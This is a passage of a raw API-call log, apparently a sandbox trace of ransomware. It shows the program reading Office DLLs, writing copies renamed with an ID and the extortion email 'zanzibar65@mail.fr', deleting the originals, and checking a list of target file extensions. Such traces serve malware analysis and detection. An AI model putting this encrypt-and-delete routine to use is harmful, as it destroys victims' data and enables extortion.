(lpString1=".DLL", lpString2=".html") returned -1 [0058.272] lstrlenW (lpString="ACERECR.DLL") returned 11 [0058.272] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0058.273] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=20944) returned 1 [0058.273] CloseHandle (hObject=0x238) returned 1 [0058.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 0x20 [0058.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0058.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0058.274] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.274] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0058.274] GetLastError () returned 0x0 [0058.274] ReadFile (in: hFile=0x238, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x51d0, lpOverlapped=0x0) returned 1 [0058.442] WriteFile (in: hFile=0x194, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0x51e0, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0x51e0, lpOverlapped=0x0) returned 1 [0058.443] ReadFile (in: hFile=0x238, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.443] WriteFile (in: hFile=0x194, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xea, lpOverlapped=0x0) returned 1 [0058.443] SetEndOfFile (hFile=0x194) returned 1 [0058.444] CloseHandle (hObject=0x194) returned 1 [0058.444] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.444] SetEndOfFile (hFile=0x238) returned 1 [0058.445] CloseHandle (hObject=0x238) returned 1 [0058.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0058.445] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 1 [0058.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0058.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0058.445] lstrlenW (lpString=".doc") returned 4 [0058.445] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.445] lstrlenW (lpString=".docx") returned 5 [0058.445] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0058.445] lstrlenW (lpString=".pdf") returned 4 [0058.445] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.445] lstrlenW (lpString=".xls") returned 4 [0058.446] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.446] lstrlenW (lpString=".xlsx") returned 5 [0058.446] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0058.446] lstrlenW (lpString=".ppt") returned 4 [0058.446] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0058.446] lstrlenW (lpString=".zip") returned 4 [0058.446] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.446] lstrlenW (lpString=".rar") returned 4 [0058.446] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.446] lstrlenW (lpString=".bz2") returned 4 [0058.446] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.446] lstrlenW (lpString=".7z") returned 3 [0058.446] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0058.446] lstrlenW (lpString=".dbf") returned 4 [0058.446] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0058.446] lstrlenW (lpString=".1cd") returned 4 [0058.446] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0058.446] lstrlenW (lpString=".jpg") returned 4 [0058.446] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0058.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0058.446] lstrlenW (lpString=".doc") returned 4 [0058.446] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.446] lstrlenW (lpString=".docx") returned 5 [0058.446] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0058.446] lstrlenW (lpString=".pdf") returned 4 [0058.446] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.446] lstrlenW (lpString=".xls") returned 4 [0058.447] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.447] lstrlenW (lpString=".xlsx") returned 5 [0058.447] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0058.447] lstrlenW (lpString=".ppt") returned 4 [0058.447] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0058.447] lstrlenW (lpString=".zip") returned 4 [0058.447] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.447] lstrlenW (lpString=".rar") returned 4 [0058.447] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.447] lstrlenW (lpString=".bz2") returned 4 [0058.447] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.447] lstrlenW (lpString=".7z") returned 3 [0058.447] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0058.447] lstrlenW (lpString=".dbf") returned 4 [0058.447] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0058.447] lstrlenW (lpString=".1cd") returned 4 [0058.447] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0058.447] lstrlenW (lpString=".jpg") returned 4 [0058.447] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.447] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0058.447] lstrlenW (lpString="MSSOAPR3.DLL") returned 12 [0058.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0059.566] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=41864) returned 1 [0059.567] CloseHandle (hObject=0x1d8) returned 1 [0059.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll")) returned 0x20 [0059.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0059.579] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.602] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0059.603] GetLastError () returned 0x0 [0059.603] ReadFile (in: hFile=0x1d8, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0xa388, lpOverlapped=0x0) returned 1 [0059.605] WriteFile (in: hFile=0x254, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xa390, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xa390, lpOverlapped=0x0) returned 1 [0059.606] ReadFile (in: hFile=0x1d8, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.607] WriteFile (in: hFile=0x254, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.607] SetEndOfFile (hFile=0x254) returned 1 [0059.607] CloseHandle (hObject=0x254) returned 1 [0059.607] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.607] SetEndOfFile (hFile=0x1d8) returned 1 [0059.608] CloseHandle (hObject=0x1d8) returned 1 [0059.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.608] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll")) returned 1 [0059.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0059.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0059.609] lstrlenW (lpString=".doc") returned 4 [0059.609] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.609] lstrlenW (lpString=".docx") returned 5 [0059.609] lstrcmpiW (lpString1=".docx", lpString2="3.DLL") returned -1 [0059.609] lstrlenW (lpString=".pdf") returned 4 [0059.609] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.609] lstrlenW (lpString=".xls") returned 4 [0059.609] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.609] lstrlenW (lpString=".xlsx") returned 5 [0059.609] lstrcmpiW (lpString1=".xlsx", lpString2="3.DLL") returned -1 [0059.609] lstrlenW (lpString=".ppt") returned 4 [0059.609] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0059.609] lstrlenW (lpString=".zip") returned 4 [0059.609] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.609] lstrlenW (lpString=".rar") returned 4 [0059.609] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.609] lstrlenW (lpString=".bz2") returned 4 [0059.609] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.609] lstrlenW (lpString=".7z") returned 3 [0059.609] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0059.609] lstrlenW (lpString=".dbf") returned 4 [0059.609] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0059.609] lstrlenW (lpString=".1cd") returned 4 [0059.609] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0059.609] lstrlenW (lpString=".jpg") returned 4 [0059.609] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0059.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0059.610] lstrlenW (lpString=".doc") returned 4 [0059.610] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.610] lstrlenW (lpString=".docx") returned 5 [0059.610] lstrcmpiW (lpString1=".docx", lpString2="3.DLL") returned -1 [0059.610] lstrlenW (lpString=".pdf") returned 4 [0059.610] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.610] lstrlenW (lpString=".xls") returned 4 [0059.610] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.610] lstrlenW (lpString=".xlsx") returned 5 [0059.610] lstrcmpiW (lpString1=".xlsx", lpString2="3.DLL") returned -1 [0059.610] lstrlenW (lpString=".ppt") returned 4 [0059.610] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0059.610] lstrlenW (lpString=".zip") returned 4 [0059.610] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.610] lstrlenW (lpString=".rar") returned 4 [0059.610] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.610] lstrlenW (lpString=".bz2") returned 4 [0059.610] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.610] lstrlenW (lpString=".7z") returned 3 [0059.610] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0059.610] lstrlenW (lpString=".dbf") returned 4 [0059.610] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0059.610] lstrlenW (lpString=".1cd") returned 4 [0059.610] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0059.610] lstrlenW (lpString=".jpg") returned 4 [0059.610] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.611] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0059.611] lstrlenW (lpString="ACEDAO.DLL") returned 10 [0059.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0059.611] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=744888) returned 1 [0059.611] CloseHandle (hObject=0x1d8) returned 1 [0059.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll")) returned 0x20 [0059.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0059.611] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.611] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0059.612] GetLastError () returned 0x0 [0059.612] ReadFile (in: hFile=0x1d8, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0xb5db8, lpOverlapped=0x0) returned 1 [0059.626] WriteFile (in: hFile=0x254, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xb5dc0, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xb5dc0, lpOverlapped=0x0) returned 1 [0059.668] ReadFile (in: hFile=0x1d8, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.668] WriteFile (in: hFile=0x254, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0059.668] SetEndOfFile (hFile=0x254) returned 1 [0060.435] CloseHandle (hObject=0x254) returned 1 [0060.483] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.483] SetEndOfFile (hFile=0x1d8) returned 1 [0060.924] CloseHandle (hObject=0x1d8) returned 1 [0060.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0060.926] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll")) returned 1 [0060.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0060.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0060.926] lstrlenW (lpString=".doc") returned 4 [0060.926] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.926] lstrlenW (lpString=".docx") returned 5 [0060.926] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0060.926] lstrlenW (lpString=".pdf") returned 4 [0060.926] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.926] lstrlenW (lpString=".xls") returned 4 [0060.926] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.960] lstrlenW (lpString=".xlsx") returned 5 [0060.960] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0060.960] lstrlenW (lpString=".ppt") returned 4 [0060.960] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0060.960] lstrlenW (lpString=".zip") returned 4 [0060.960] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.960] lstrlenW (lpString=".rar") returned 4 [0060.960] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.960] lstrlenW (lpString=".bz2") returned 4 [0060.960] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.960] lstrlenW (lpString=".7z") returned 3 [0060.960] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0060.960] lstrlenW (lpString=".dbf") returned 4 [0060.960] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0060.960] lstrlenW (lpString=".1cd") returned 4 [0060.960] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0060.960] lstrlenW (lpString=".jpg") returned 4 [0060.960] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0060.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0060.960] lstrlenW (lpString=".doc") returned 4 [0060.960] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.960] lstrlenW (lpString=".docx") returned 5 [0060.960] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0060.960] lstrlenW (lpString=".pdf") returned 4 [0060.960] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.960] lstrlenW (lpString=".xls") returned 4 [0060.961] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.961] lstrlenW (lpString=".xlsx") returned 5 [0060.961] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0060.961] lstrlenW (lpString=".ppt") returned 4 [0060.961] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0060.961] lstrlenW (lpString=".zip") returned 4 [0060.961] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.961] lstrlenW (lpString=".rar") returned 4 [0060.961] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.961] lstrlenW (lpString=".bz2") returned 4 [0060.961] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.961] lstrlenW (lpString=".7z") returned 3 [0060.961] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0060.961] lstrlenW (lpString=".dbf") returned 4 [0060.961] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0060.961] lstrlenW (lpString=".1cd") returned 4 [0060.961] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0060.961] lstrlenW (lpString=".jpg") returned 4 [0060.961] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.961] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0060.961] lstrlenW (lpString="ACEEXCL.DLL") returned 11 [0060.961] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 